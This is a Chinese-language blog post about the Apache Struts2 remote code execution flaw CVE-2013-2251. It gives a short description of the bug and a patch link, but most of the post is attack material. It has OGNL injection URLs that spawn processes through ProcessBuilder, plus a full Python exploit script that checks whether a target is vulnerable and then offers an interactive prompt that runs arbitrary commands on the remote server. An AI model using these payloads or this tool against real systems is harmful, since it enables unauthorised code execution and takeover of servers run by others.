您好,登錄后才能下訂單哦!
7·17中午剛剛午睡醒來就看到幾個熟悉字眼——Struts2,遠程執行代碼。施特!難道繼上回<s:a>標簽后又新曝一個?本來還沒睡醒的一下子清醒了。一看果斷,緊接著某云就被刷屏了~~~一場腥風血雨畫面即將上演。。。
據報道,受影響版本是2.0.0-2.3.15,CVE編號:CVE-2013-2251。原因是因為參數action的值redirect以及redirectAction沒有正確過濾,導致允許***者在訪問使用Struts2的應用時遠程執行OGNL表達式
漏洞證明:
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-blank/example/X.action?redirect:%25{3*4}
http://host/struts2-blank/example/X.action?redirectAction:%25{3*4}
代碼測試:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
官方已經更新補丁,管理員們速度打上,不然褲子被脫了還不知道。
URL:http://struts.apache.org/download.cgi#struts23151
下面show下python寫的利用工具【圖】
用GOOGLE一搜差點沒嚇尿,再次強烈建議管理今晚加班都要把這修補了!!!晚安
--------------------------更新py腳本代碼-----------------------------------------
#!/usr/bin/env python # -*- coding: UTF-8 -*- # #-------------------------------------- # Struts2 2.0.0 - Struts 2.3.15 # CVE-2013-2251 #--------------------------------------- #Copyright By ,Terryll right Reserved #author date comment #Terry 2013-7-17 Created import urllib import urllib2 import re import sys url_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" def judge(url): #判斷是否存在該漏洞 if url.endswith(".action") : try: url = url + url_exp #print url url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read() #print res_html[:100] if res_html.find(">") > 0: return "Failed" else: return "OK" #print response.func_code except : return "ERROR" else: return "url error" def get_args(argument): # #轉化為參數的格式如:'ls','-al' # args = argument.split(' ') args_deal = '' for i in args: args_deal = args_deal + "'" + i + "'," args_deal = args_deal[:-1] return args_deal def strip(str): # #去除首尾的\x00串 # tmp = str.strip() blank_line=re.compile('\x00') tmp=blank_line.sub('',tmp) return tmp def attack(url): # #DO IT # try: url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read().strip() return strip(res_html) except : return "ERROR" if __name__ == '__main__': if len(sys.argv) > 1: #print get_url("ls -al") if judge(sys.argv[1]) == "OK": print "Success" pattern = re.compile(r'http[s]?://([\w\W]*?)/') url = sys.argv[1] + url_exp hostname = pattern.findall(url) #print hostname[0] loop = 1 while loop: string = raw_input(hostname[0] + " >") if string.startswith("exit"): break loop=0 if len(string) > 0: url_ = url.replace("'whoami'",get_args(string)) #print url_ print attack(url_) else: print "Failed" else: print("No argument!")
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。